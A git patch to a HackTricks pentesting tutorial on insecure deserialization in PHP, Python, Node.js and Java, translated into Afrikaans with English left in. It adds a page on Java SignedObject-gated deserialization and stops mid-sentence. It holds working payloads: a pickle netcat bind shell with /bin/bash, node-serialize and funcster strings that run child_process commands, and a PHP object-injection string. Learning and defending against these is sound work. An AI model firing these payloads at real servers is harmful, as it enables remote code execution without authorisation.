From b7a7e5ece0a53a09a255050be4f5d1aef2fe9ddb Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 1 Oct 2025 01:19:35 +0000 Subject: [PATCH] Translated ['src/pentesting-web/deserialization/java-signedobject-gated- --- src/SUMMARY.md | 1 + src/pentesting-web/deserialization/README.md | 487 +++++++++--------- ...java-signedobject-gated-deserialization.md | 140 +++++ 3 files changed, 391 insertions(+), 237 deletions(-) create mode 100644 src/pentesting-web/deserialization/java-signedobject-gated-deserialization.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index f2a0c1124..27f33cff3 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -622,6 +622,7 @@ - [Java JSF ViewState (.faces) Deserialization](pentesting-web/deserialization/java-jsf-viewstate-.faces-deserialization.md) - [Java DNS Deserialization, GadgetProbe and Java Deserialization Scanner](pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.md) - [Basic Java Deserialization (ObjectInputStream, readObject)](pentesting-web/deserialization/basic-java-deserialization-objectinputstream-readobject.md) + - [Java Signedobject Gated Deserialization](pentesting-web/deserialization/java-signedobject-gated-deserialization.md) - [PHP - Deserialization + Autoload Classes](pentesting-web/deserialization/php-deserialization-+-autoload-classes.md) - [CommonsCollection1 Payload - Java Transformers to Rutime exec() and Thread Sleep](pentesting-web/deserialization/java-transformers-to-rutime-exec-payload.md) - [Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)](pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md) diff --git a/src/pentesting-web/deserialization/README.md b/src/pentesting-web/deserialization/README.md index 4510c5fb9..2876cd321 100644 --- a/src/pentesting-web/deserialization/README.md +++ b/src/pentesting-web/deserialization/README.md @@ -1,24 +1,24 @@ -# Deserialisering +# Deserialization {{#include ../../banners/hacktricks-training.md}} ## Basiese Inligting -**Serialisering** word verstaan as die metode om 'n objek in 'n formaat te omskep wat bewaar kan word, met die doel om óf die objek te stoor óf dit as deel van 'n kommunikasieproses oor te dra. Hierdie tegniek word algemeen gebruik om te verseker dat die objek op 'n later tydstip weer geskep kan word, terwyl sy struktuur en toestand behou word. +**Serialization** word verstaan as die metode om 'n objek in 'n formaat om te sit wat bewaar kan word, met die doel om die objek te stoor of te stuur as deel van 'n kommunikasieproses. Hierdie tegniek word algemeen gebruik om te verseker dat die objek later weer geskep kan word, met behoud van sy struktuur en toestand. -**Deserialisering**, aan die ander kant, is die proses wat serialisering teenwerk. Dit behels die neem van data wat in 'n spesifieke formaat gestruktureer is en dit weer in 'n objek te herbou. +**Deserialization**, daarenteen, is die proses wat serialization teengaan. Dit behels die neem van data wat in 'n spesifieke formaat gestruktureer is en dit weer te rekonstrueer in 'n objek. -Deserialisering kan gevaarlik wees omdat dit potensieel **aanvallers toelaat om die geserialiseerde data te manipuleer om skadelike kode uit te voer** of om onverwagte gedrag in die toepassing te veroorsaak tydens die objekherbouproses. +Deserialization kan gevaarlik wees omdat dit moontlik **aanvalers toelaat om die serialized data te manipuleer om skadelike kode uit te voer** of onverwags gedrag in die toepassing te veroorsaak tydens die objekherstelproses. ## PHP -In PHP word spesifieke magiese metodes gebruik tydens die serialisering en deserialisering prosesse: +In PHP word spesifieke magic methods gebruik tydens die serialization en deserialization prosesse: -- `__sleep`: Word aangeroep wanneer 'n objek geserialiseer word. Hierdie metode moet 'n lys van die name van alle eienskappe van die objek wat geserialiseer moet word, teruggee. Dit word algemeen gebruik om hangende data te bevestig of soortgelyke skoonmaak take uit te voer. -- `__wakeup`: Word genoem wanneer 'n objek gedeserialiseer word. Dit word gebruik om enige databasisverbindinge wat tydens serialisering verlore gegaan het, te hersteld en ander herbegin take uit te voer. -- `__unserialize`: Hierdie metode word in plaas van `__wakeup` (as dit bestaan) aangeroep wanneer 'n objek gedeserialiseer word. Dit bied meer beheer oor die deserialisering proses in vergelyking met `__wakeup`. -- `__destruct`: Hierdie metode word aangeroep wanneer 'n objek op die punt is om vernietig te word of wanneer die skrip eindig. Dit word tipies gebruik vir skoonmaak take, soos om lêerhandvatsels of databasisverbindinge te sluit. -- `__toString`: Hierdie metode laat 'n objek toe om as 'n string behandel te word. Dit kan gebruik word om 'n lêer te lees of ander take gebaseer op die funksie-aanroepe binne dit, wat effektief 'n teksuele voorstelling van die objek bied. +- `__sleep`: Word aangeroep wanneer 'n objek serialized word. Hierdie metode moet 'n array teruggee met die name van alle properties van die objek wat serialized moet word. Dit word algemeen gebruik om hangende data weg te skryf of soortgelyke opruimtake uit te voer. +- `__wakeup`: Word aangeroep wanneer 'n objek deserialized word. Dit word gebruik om databasisverbindinge wat tydens serialization verlore gegaan het te herstel en om ander herinisiëringstake uit te voer. +- `__unserialize`: Hierdie metode word opgeroep in plaas van `__wakeup` (indien dit bestaan) wanneer 'n objek deserialized word. Dit gee meer beheer oor die deserialization-proses vergeleke met `__wakeup`. +- `__destruct`: Hierdie metode word opgeroep wanneer 'n objek op die punt is om vernietig te word of wanneer die script eindig. Dit word gewoonlik gebruik vir opruimtake, soos die sluit van file handles of databasisverbindinge. +- `__toString`: Hierdie metode laat 'n objek toe om as 'n string behandel te word. Dit kan gebruik word om 'n file te lees of ander take uit te voer gebaseer op die funksie-oproepe binne-in, en gee effektief 'n tekstuele voorstelling van die objek. ```php */ ?> ``` -As jy na die resultate kyk, kan jy sien dat die funksies **`__wakeup`** en **`__destruct`** aangeroep word wanneer die objek gedeserialiseer word. Let daarop dat jy in verskeie tutorials sal vind dat die **`__toString`** funksie aangeroep word wanneer daar probeer word om 'n attribuut te druk, maar blykbaar gebeur dit **nie meer nie**. +As jy na die resultate kyk, kan jy sien dat die funksies **`__wakeup`** en **`__destruct`** aangeroep word wanneer die objek gedeserialiseer word. Let daarop dat in verskeie tutorials gesê word dat die **`__toString`** funksie aangeroep word wanneer daar probeer word om 'n attribuut te print, maar blykbaar gebeur dit **nie meer**. > [!WARNING] -> Die metode **`__unserialize(array $data)`** word **in plaas van `__wakeup()`** aangeroep as dit in die klas geïmplementeer is. Dit stel jou in staat om die objek te deserialiseer deur die geserialiseerde data as 'n array te verskaf. Jy kan hierdie metode gebruik om eienskappe te deserialiseer en enige nodige take uit te voer tydens deserialisering. +> Die metode **`__unserialize(array $data)`** word aangeroep **in plaas van `__wakeup()`** as dit in die klas geïmplementeer is. Dit stel jou in staat om die objek te deserialiseer deur die geserialiseerde data as 'n array te verskaf. Jy kan hierdie metode gebruik om eienskappe te deserialiseer en enige nodige take tydens deserialisering uit te voer. > > ```php > class MyClass { @@ -85,23 +85,23 @@ As jy na die resultate kyk, kan jy sien dat die funksies **`__wakeup`** en **`__ > > public function __unserialize(array $data): void { > $this->property = $data['property']; -> // Voer enige nodige take uit tydens deserialisering. +> // Perform any necessary tasks upon deserialization. > } > } > ``` Jy kan 'n verduidelikende **PHP voorbeeld hier** lees: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/), hier [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) of hier [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/) -### PHP Deserial + Autoload Klassen +### PHP Deserial + Autoload Klasse -Jy kan die PHP autoload funksionaliteit misbruik om arbitrêre php-lêers en meer te laai: +Jy kan die PHP autoload-funksionaliteit misbruik om arbitrêre PHP-lêers en meer te laai: {{#ref}} php-deserialization-+-autoload-classes.md {{#endref}} -### Serialisering van Verweiste Waardes +### Serialisering van Verwysde Waardes As jy om een of ander rede 'n waarde as 'n **verwysing na 'n ander geserialiseerde waarde** wil serialiseer, kan jy: ```php @@ -116,12 +116,12 @@ $o->param1 =& $o->param22; $o->param = "PARAM"; $ser=serialize($o); ``` -### Voorkoming van PHP Object Injectie met `allowed_classes` +### Voorkoming van PHP Object Injection met `allowed_classes` > [!INFO] -> Ondersteuning vir die **tweede argument** van `unserialize()` (die `$options` array) is bygevoeg in **PHP 7.0**. In ouer weergawes aanvaar die funksie slegs die geserialiseerde string, wat dit onmoontlik maak om te beperk watter klasse geïnstantieer mag word. +> Ondersteuning vir die **tweede argument** van `unserialize()` (die `$options` array) is bygevoeg in **PHP 7.0**. Op ouer weergawes aanvaar die funksie slegs die geserialiseerde string, wat dit onmoontlik maak om te beperk watter klasse geïnstantieer mag word. -`unserialize()` sal **elke klas** instel wat dit binne die geserialiseerde stroom vind, tensy anders gesê. Sedert PHP 7 kan die gedrag beperk word met die [`allowed_classes`](https://www.php.net/manual/en/function.unserialize.php) opsie: +`unserialize()` sal **elke klas** wat dit binne die geserialiseerde stroom vind, instansieer tensy anders bepaal. Sedert PHP 7 kan die gedrag met die [`allowed_classes`](https://www.php.net/manual/en/function.unserialize.php) opsie beperk word: ```php // NEVER DO THIS – full object instantiation $object = unserialize($userControlledData); @@ -136,11 +136,11 @@ $object = unserialize($userControlledData, [ 'allowed_classes' => [MyModel::class, DateTime::class] ]); ``` -As **`allowed_classes` weggelaat word _of_ die kode op PHP < 7.0 loop**, word die oproep **gevaarlik** aangesien 'n aanvaller 'n payload kan saamstel wat magiese metodes soos `__wakeup()` of `__destruct()` misbruik om Remote Code Execution (RCE) te bereik. +As **`allowed_classes` weggelaat word _of_ die kode op PHP < 7.0 loop**, word die oproep **gevaarlik** aangesien 'n aanvaller 'n payload kan saamstel wat magic methods soos `__wakeup()` of `__destruct()` misbruik om Remote Code Execution (RCE) te bereik. -#### Werklike voorbeeld: Everest Forms (WordPress) CVE-2025-52709 +#### Werklike wêreldvoorbeeld: Everest Forms (WordPress) CVE-2025-52709 -Die WordPress plugin **Everest Forms ≤ 3.2.2** het probeer om defensief te wees met 'n helper wrapper, maar het vergeet van ouer PHP weergawes: +Die WordPress plugin **Everest Forms ≤ 3.2.2** het probeer verdedigend te wees met 'n helper wrapper maar het aan ouer PHP-weergawes vergeet: ```php function evf_maybe_unserialize($data, $options = array()) { if (is_serialized($data)) { @@ -155,29 +155,29 @@ return @unserialize(trim($data)); return $data; } ``` -Op bedieners wat steeds **PHP ≤ 7.0** gedraai het, het hierdie tweede tak gelei tot 'n klassieke **PHP Object Injection** wanneer 'n administrateur 'n kwaadwillige vorm indiening oopgemaak het. 'n Minimale eksploitlas kan soos volg lyk: +Op bedieners wat nog **PHP ≤ 7.0** gebruik het, het hierdie tweede tak gelei tot 'n klassieke **PHP Object Injection** wanneer 'n administrateur 'n kwaadwillige formuliersubmissie oopgemaak het. 'n Minimale exploit payload kan soos volg lyk: ``` O:8:"SomeClass":1:{s:8:"property";s:28:"";} ``` -Sodra die admin die inskrywing gesien het, is die objek geïnstantieer en `SomeClass::__destruct()` is uitgevoer, wat gelei het tot arbitrêre kode-uitvoering. +Sodra die admin die inskrywing bekyk het, is die objek geïnstantieer en `SomeClass::__destruct()` is uitgevoer, wat gelei het tot arbitrary code execution. **Belangrike punte** -1. Gee altyd `['allowed_classes' => false]` (of 'n streng witlys) wanneer jy `unserialize()` aanroep. -2. Oudit verdediging wrappers – hulle vergeet dikwels van die erflike PHP takke. -3. Om op te gradeer na **PHP ≥ 7.x** alleen is *nie* voldoende nie: die opsie moet steeds eksplisiet verskaf word. +1. Gee altyd `['allowed_classes' => false]` (or a strict white-list) wanneer `unserialize()` aangeroep word. +2. Kontroleer defensive wrappers – hulle vergeet dikwels die legacy PHP branches. +3. Om op te gradeer na **PHP ≥ 7.x** alleen is *nie* voldoende nie: die opsie moet steeds uitdruklik voorsien word. --- -### PHPGGC (ysoserial vir PHP) +### PHPGGC (ysoserial for PHP) -[**PHPGGC**](https://github.com/ambionics/phpggc) kan jou help om payloads te genereer om PHP deserialisasies te misbruik.\ -Let daarop dat jy in verskeie gevalle **nie 'n manier sal vind om 'n deserialisasie in die bronnekode** van die toepassing te misbruik nie, maar jy mag dalk **die kode van eksterne PHP uitbreidings kan misbruik.**\ -So, as jy kan, kyk na die `phpinfo()` van die bediener en **soek op die internet** (en selfs op die **gadgets** van **PHPGGC**) vir moontlike gadgets wat jy kan misbruik. +[**PHPGGC**](https://github.com/ambionics/phpggc) kan jou help om payloads te genereer om PHP deserializations te misbruik.\ +Let daarop dat in verskeie gevalle jy **nie 'n manier sal kan vind om 'n deserialization in die bronkode** van die toepassing te misbruik nie, maar jy mag in staat wees om **die kode van eksterne PHP extensions** te misbruik.\ +Dus, as jy kan, kyk die `phpinfo()` van die server en **soek op die internet** (en selfs op die **gadgets** van **PHPGGC**) na 'n moontlike gadget wat jy kan misbruik. -### phar:// metadata deserialisering +### phar:// metadata deserialization -As jy 'n LFI gevind het wat net die lêer lees en nie die php kode binne dit uitvoer nie, byvoorbeeld deur funksies soos _**file_get_contents(), fopen(), file() of file_exists(), md5_file(), filemtime() of filesize()**_**.** Jy kan probeer om 'n **deserialisering** te misbruik wat plaasvind wanneer **jy** 'n **lêer** lees met die **phar** protokol.\ -Vir meer inligting, lees die volgende pos: +As jy 'n LFI gevind het wat net die lêer lees en nie die php kode binne dit uitvoer nie, byvoorbeeld deur funksies soos _**file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or filesize()**_. Jy kan probeer om 'n **deserialization** te misbruik wat plaasvind wanneer 'n **file** gelees word met die **phar** protocol.\ +Vir meer inligting lees die volgende pos: {{#ref}} @@ -188,8 +188,8 @@ Vir meer inligting, lees die volgende pos: ### **Pickle** -Wanneer die objek onttrek word, sal die funksie \_\_\_reduce\_\_\_ uitgevoer word.\ -Wanneer dit misbruik word, kan die bediener 'n fout teruggee. +Wanneer die objek unpickle, sal die funksie \_\_\_reduce\_\_\_ uitgevoer word.\ +Wanneer dit misbruik word, kan die server 'n fout teruggee. ```python import pickle, os, base64 class P(object): @@ -197,7 +197,7 @@ def __reduce__(self): return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",)) print(base64.b64encode(pickle.dumps(P()))) ``` -Voordat jy die omseil tegniek nagaan, probeer om `print(base64.b64encode(pickle.dumps(P(),2)))` te gebruik om 'n objek te genereer wat versoenbaar is met python2 as jy python3 gebruik. +Voordat jy die bypass-tegniek nagaan, probeer om `print(base64.b64encode(pickle.dumps(P(),2)))` te gebruik om 'n objek te genereer wat versoenbaar is met python2 as jy python3 gebruik. Vir meer inligting oor ontsnapping uit **pickle jails** kyk: @@ -208,14 +208,14 @@ Vir meer inligting oor ontsnapping uit **pickle jails** kyk: ### Yaml **&** jsonpickle -Die volgende bladsy bied die tegniek aan om **'n onveilige deserialisering in yamls** python biblioteke te **misbruik** en eindig met 'n hulpmiddel wat gebruik kan word om RCE deserialisering payload te genereer vir **Pickle, PyYAML, jsonpickle en ruamel.yaml**: +Die volgende bladsy beskryf die tegniek om 'n onveilige deserialization in YAML Python libraries te misbruik en eindig met 'n hulpmiddel wat gebruik kan word om RCE deserialization payloads te genereer vir **Pickle, PyYAML, jsonpickle and ruamel.yaml**: {{#ref}} python-yaml-deserialization.md {{#endref}} -### Klass Pollution (Python Prototype Pollution) +### Class Pollution (Python Prototype Pollution) {{#ref}} @@ -226,10 +226,10 @@ python-yaml-deserialization.md ### JS Magic Functions -JS **het nie "magic" funksies** soos PHP of Python wat net geskep word om 'n objek te genereer nie. Maar dit het 'n paar **funksies** wat **gereeld gebruik word selfs sonder om hulle direk aan te roep** soos **`toString`**, **`valueOf`**, **`toJSON`**.\ -As jy 'n deserialisering misbruik, kan jy **hierdie funksies kompromitteer om ander kode uit te voer** (potensieel prototype pollutions misbruik) en jy kan arbitrêre kode uitvoer wanneer hulle aangeroep word. +JS **het nie "magic" funksies nie** soos PHP of Python wat slegs by die skep van 'n objek uitgevoer word. Maar dit het sekere **functions** wat **gereeld gebruik word selfs sonder om hulle direk aan te roep** soos **`toString`**, **`valueOf`**, **`toJSON`**.\ +As jy 'n deserialization misbruik, kan jy hierdie functions kompromitteer om ander kode uit te voer (moontlik deur prototype pollutions te misbruik) en arbitrêre kode uit te voer wanneer hulle aangeroep word. -Nog 'n **"magic" manier om 'n funksie aan te roep** sonder om dit direk aan te roep, is deur **'n objek te kompromitteer wat deur 'n async funksie** (belofte) **teruggegee word**. Want, as jy daardie **teruggegee objek** in 'n ander **belofte** met 'n **eienskap** genaamd **"then" van tipe funksie** transformeer, sal dit **uitgevoer** word net omdat dit deur 'n ander belofte teruggegee word. _Volg_ [_**hierdie skakel**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _vir meer inligting._ +Nog 'n **"magiese" manier om 'n funksie aan te roep** sonder om dit direk te noem is deur 'n **objek wat deur 'n async function** (promise) teruggegee word te kompromitteer. Omdat, as jy daardie **return object** in 'n ander **promise** omskep met 'n **property** genaamd **"then" of tipe function**, sal dit **uitgevoer** word bloot omdat dit deur 'n ander promise teruggegee is. _Volg_ [_**hierdie skakel**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _vir meer info._ ```javascript // If you can compromise p (returned object) to be a promise // it will be executed just because it's the return object of an async function: @@ -253,9 +253,9 @@ test_ressolve() test_then() //For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/ ``` -### `__proto__` en `prototype` besoedeling +### `__proto__` and `prototype` pollution -As jy meer oor hierdie tegniek wil leer **kyk na die volgende tutoriaal**: +As jy meer oor hierdie tegniek wil leer, **kyk na die volgende tutorial**: {{#ref}} @@ -264,7 +264,7 @@ nodejs-proto-prototype-pollution/ ### [node-serialize](https://www.npmjs.com/package/node-serialize) -Hierdie biblioteek stel jou in staat om funksies te serialiseer. Voorbeeld: +Hierdie library maak dit moontlik om funksies te serialiseer. Voorbeeld: ```javascript var y = { rce: function () { @@ -281,19 +281,19 @@ Die **geserialiseerde objek** sal soos volg lyk: ```bash {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"} ``` -Jy kan in die voorbeeld sien dat wanneer 'n funksie geserialiseer word, die `_$$ND_FUNC$$_` vlag by die geserialiseerde objek gevoeg word. +Jy kan in die voorbeeld sien dat wanneer 'n funksie geserialiseer word die `_$$ND_FUNC$$_` vlag by die geserialiseerde objek bygevoeg word. -Binne die lêer `node-serialize/lib/serialize.js` kan jy dieselfde vlag vind en hoe die kode dit gebruik. +Inside the file `node-serialize/lib/serialize.js` you can find the same flag and how the code is using it. ![](<../../images/image (351).png>) ![](<../../images/image (446).png>) -Soos jy in die laaste stuk kode kan sien, **as die vlag gevind word** word `eval` gebruik om die funksie te deserialiseer, so basies **word gebruikersinvoer binne die `eval` funksie gebruik**. +Soos jy in die laaste kode-stuk kan sien, **as die vlag gevind word** word `eval` gebruik om die funksie te deserialiseer, dus word basies **gebruikersinvoer binne die `eval` funksie gebruik**. -Egter, **net om 'n funksie te serialiseer** **sal dit nie uitvoer nie** aangesien dit nodig sou wees dat 'n deel van die kode **`y.rce` aanroep** in ons voorbeeld en dit is hoogs **onwaarskynlik**.\ -In elk geval, jy kan net die **geserialiseerde objek** **wysig deur 'n paar haakies** by te voeg om die geserialiseerde funksie outomaties uit te voer wanneer die objek gedeserialiseer word.\ -In die volgende stuk kode **let op die laaste haakie** en hoe die `unserialize` funksie outomaties die kode sal uitvoer: +Maar, net serialiseer van 'n funksie sal dit nie uitvoer nie aangesien dit nodig sou wees dat 'n deel van die kode `y.rce` in ons voorbeeld aanroep, en dit is hoogs onwaarskynlik.\ +In elk geval, jy kan net die geserialiseerde objek wysig deur sekere hakies by te voeg sodat die geserialiseerde funksie outomaties uitgevoer word wanneer die objek gedeserialiseer word.\ +In die volgende kode-stuk **let op die laaste hakie** en hoe die `unserialize` funksie die kode outomaties sal uitvoer: ```javascript var serialize = require("node-serialize") var test = { @@ -301,20 +301,20 @@ rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(er } serialize.unserialize(test) ``` -Soos voorheen aangedui, sal hierdie biblioteek die kode na `_$$ND_FUNC$$_` kry en dit **uitvoer** met behulp van `eval`. Daarom, om **kode outomaties uit te voer**, kan jy die **funksie skepping** deel en die laaste haakie **verwyder** en **net 'n JS oneliner uitvoer** soos in die volgende voorbeeld: +Soos vroeër aangedui, sal hierdie biblioteek die kode na `_$$ND_FUNC$$_` kry en dit met `eval` **uitvoer**. Daarom, om **outomatiese kode-uitvoering** te bewerkstellig, kan jy **die gedeelte wat die funksie skep** en die laaste sluitingshakie verwyder en **slegs 'n JS oneliner uitvoer** soos in die volgende voorbeeld: ```javascript var serialize = require("node-serialize") var test = "{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}" serialize.unserialize(test) ``` -U kan [**hier vind**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) **verdere inligting** oor hoe om hierdie kwesbaarheid te benut. +Jy kan [**find here**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) **verdere inligting** vind oor hoe om hierdie kwesbaarheid te benut. ### [funcster](https://www.npmjs.com/package/funcster) -'n Opmerklike aspek van **funcster** is die ontoeganklikheid van **standaard ingeboude voorwerpe**; hulle val buite die toeganklike omvang. Hierdie beperking voorkom die uitvoering van kode wat probeer om metodes op ingeboude voorwerpe aan te roep, wat lei tot uitsonderings soos `"ReferenceError: console is not defined"` wanneer opdragte soos `console.log()` of `require(something)` gebruik word. +'n Noemenswaardige aspek van **funcster** is die onbereikbaarheid van **standaard ingeboude objekte**; hulle val buite die toeganklike omgewing. Hierdie beperking voorkom die uitvoering van code wat probeer metodes op ingeboude objekte aanroep, wat lei tot uitsonderings soos "ReferenceError: console is not defined" wanneer opdragte soos `console.log()` of `require(something)` gebruik word. -Ten spyte van hierdie beperking, is dit moontlik om volle toegang tot die globale konteks, insluitend al die standaard ingeboude voorwerpe, te herstel deur 'n spesifieke benadering. Deur die globale konteks direk te benut, kan 'n mens hierdie beperking omseil. Byvoorbeeld, toegang kan hergestel word met die volgende snit: +Ten spyte van hierdie beperking is die herstel van volle toegang tot die globale konteks, insluitend alle standaard ingeboude objekte, moontlik deur 'n spesifieke benadering. Deur die globale konteks direk te benut, kan mens hierdie beperking omseil. Byvoorbeeld, toegang kan hergestel word met die volgende kodefragment: ```javascript funcster = require("funcster") //Serialization @@ -336,17 +336,17 @@ __js_function: } funcster.deepDeserialize(desertest3) ``` -**Vir**[ **meer inligting lees hierdie bron**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.** +**Vir**[ **more information read this source**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.** ### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript) -Die **serialize-javascript** pakket is eksklusief ontwerp vir serialiseringdoeleindes, en het geen ingeboude deserialisering vermoëns nie. Gebruikers is verantwoordelik om hul eie metode vir deserialisering te implementeer. 'n Direkte gebruik van `eval` word voorgestel deur die amptelike voorbeeld vir deserialisering van geserialiseerde data: +Die **serialize-javascript** package is uitsluitlik ontwerp vir serialization-doeleindes en het geen ingeboude deserialization-mooglikhede nie. Gebruikers is verantwoordelik om hul eie metode vir deserialization te implementeer. Die amptelike voorbeeld stel 'n direkte gebruik van `eval` voor vir deserializing serialized data: ```javascript function deserialize(serializedJavascript) { return eval("(" + serializedJavascript + ")") } ``` -As hierdie funksie gebruik word om voorwerpe te deserialiseer, kan jy dit **moeiteloos misbruik**: +As hierdie function gebruik word om objects te deserialize, kan jy dit **easily exploit**: ```javascript var serialize = require("serialize-javascript") //Serialization @@ -362,88 +362,98 @@ deserialize(test) ``` **Vir**[ **meer inligting lees hierdie bron**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.** -### Cryo biblioteek +### Cryo-biblioteek -In die volgende bladsye kan jy inligting vind oor hoe om hierdie biblioteek te misbruik om arbitrêre opdragte uit te voer: +Op die volgende bladsye vind jy inligting oor hoe om hierdie biblioteek te misbruik om arbitrêre opdragte uit te voer: - [https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/) - [https://hackerone.com/reports/350418](https://hackerone.com/reports/350418) ## Java - HTTP -In Java, **word deserialisering terugroepe uitgevoer tydens die proses van deserialisering**. Hierdie uitvoering kan deur aanvallers uitgebuit word wat kwaadwillige payloads saamstel wat hierdie terugroepe aktiveer, wat kan lei tot die potensiële uitvoering van skadelike aksies. +In Java word **deserialization callbacks uitgevoer tydens die deserialization-proses**. Hierdie uitvoering kan deur aanvallers uitgebuit word wat kwaadwillige payloads saamstel wat hierdie callbacks aktiveer, wat kan lei tot die uitvoering van skadelike aksies. -### Vingerafdrukke +### Fingerprints -#### Wit Bok +#### White Box -Om potensiële serialisering kwesbaarhede in die kodebasis te identifiseer, soek vir: +Om potensiële serialization-kwetsbaarhede in die codebase te identifiseer, soek na: -- Klasse wat die `Serializable`-koppelvlak implementeer. +- Klasse wat die `Serializable` interface implementeer. - Gebruik van `java.io.ObjectInputStream`, `readObject`, `readUnshare` funksies. Gee ekstra aandag aan: -- `XMLDecoder` wat gebruik word met parameters gedefinieer deur eksterne gebruikers. -- `XStream`'s `fromXML` metode, veral as die XStream weergawe minder as of gelyk aan 1.46 is, aangesien dit vatbaar is vir serialisering probleme. -- `ObjectInputStream` gekoppel aan die `readObject` metode. +- `XMLDecoder` gebruik met parameters wat deur eksterne gebruikers gedefinieer word. +- `XStream` se `fromXML`-metode, veral as die XStream-weergawe minder of gelyk is aan 1.46, aangesien dit vatbaar is vir serialization-probleme. +- `ObjectInputStream` gekoppel aan die `readObject`-metode. - Implementering van metodes soos `readObject`, `readObjectNodData`, `readResolve`, of `readExternal`. - `ObjectInputStream.readUnshared`. - Algemene gebruik van `Serializable`. -#### Swart Bok +#### Black Box -Vir swart bok toetsing, soek vir spesifieke **handtekeninge of "Magic Bytes"** wat java-serialiseerde objekke aandui (wat afkomstig is van `ObjectInputStream`): +Vir black box-toetsing, soek na spesifieke **signatures or "Magic Bytes"** wat java serialized objects aandui (wat afkomstig is van `ObjectInputStream`): - Heksadesimale patroon: `AC ED 00 05`. -- Base64 patroon: `rO0`. -- HTTP antwoordkoppe met `Content-type` ingestel op `application/x-java-serialized-object`. +- Base64-patroon: `rO0`. +- HTTP-antwoordkoppe met `Content-type` gestel op `application/x-java-serialized-object`. - Heksadesimale patroon wat vorige kompressie aandui: `1F 8B 08 00`. -- Base64 patroon wat vorige kompressie aandui: `H4sIA`. -- Web lêers met die `.faces` uitbreiding en die `faces.ViewState` parameter. Om hierdie patrone in 'n webtoepassing te ontdek, moet dit 'n ondersoek uitlok soos gedetailleerd in die [plasing oor Java JSF ViewState Deserialisering](java-jsf-viewstate-.faces-deserialization.md). +- Base64-patroon wat vorige kompressie aandui: `H4sIA`. +- Web-lêers met die `.faces` uitbreiding en die `faces.ViewState` parameter. Discovering these patterns in a web application should prompt an examination as detailed in the [post about Java JSF ViewState Deserialization](java-jsf-viewstate-.faces-deserialization.md). ``` javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s ``` -### Kontroleer of kwesbaar +### Kontroleer of dit kwesbaar is -As jy wil **leer hoe 'n Java Deserialized exploit werk** moet jy kyk na [**Basic Java Deserialization**](basic-java-deserialization-objectinputstream-readobject.md), [**Java DNS Deserialization**](java-dns-deserialization-and-gadgetprobe.md), en [**CommonsCollection1 Payload**](java-transformers-to-rutime-exec-payload.md). +As jy wil **learn about how does a Java Deserialized exploit work** moet jy kyk na [**Basic Java Deserialization**](basic-java-deserialization-objectinputstream-readobject.md), [**Java DNS Deserialization**](java-dns-deserialization-and-gadgetprobe.md), en [**CommonsCollection1 Payload**](java-transformers-to-rutime-exec-payload.md). -#### White Box Toets +#### SignedObject-gated deserialization en pre-auth bereikbaarheid -Jy kan kyk of daar enige toepassing geïnstalleer is met bekende kwesbaarhede. +Moderne kodebasisse hou soms deserialisasie in 'n `java.security.SignedObject` en valideer 'n handtekening voordat `getObject()` aangeroep word (wat die binneste object deserialiseer). Dit voorkom arbitrêre top-level gadget classes maar kan steeds uitgebuit word as 'n aanvaller 'n geldige handtekening kan bekom (e.g., private-key compromise or a signing oracle). Verder kan fouthandelingstrome session-bound tokens vir unauthenticated users skep, wat andersins beskermde sinks pre-auth blootstel. + +Vir 'n konkrete gevallestudie met requests, IoCs, en hardening guidance, sien: + +{{#ref}} +java-signedobject-gated-deserialization.md +{{#endref}} + +#### White Box Test + +Jy kan nagaan of enige toepassing met bekende kwesbaarhede geïnstalleer is. ```bash find . -iname "*commons*collection*" grep -R InvokeTransformer . ``` -Jy kan probeer om **al die biblioteke** wat bekend is as kwesbaar te kontroleer en waarvoor [**Ysoserial**](https://github.com/frohoff/ysoserial) 'n ontploffing kan bied. Of jy kan die biblioteke nagaan wat op [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json) aangedui is.\ -Jy kan ook [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) gebruik om moontlike gadget-kettings te soek wat ontplof kan word.\ -Wanneer jy **gadgetinspector** (na dit gebou is) uitvoer, moenie omgee oor die ton waarskuwings/foute wat dit deurgaan nie en laat dit klaar maak. Dit sal al die bevindings onder _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_ skryf. Let asseblief daarop dat **gadgetinspector nie 'n ontploffing sal skep nie en dit mag vals positiewe aandui**. +Jy kan probeer om **check all the libraries** wat bekend is as 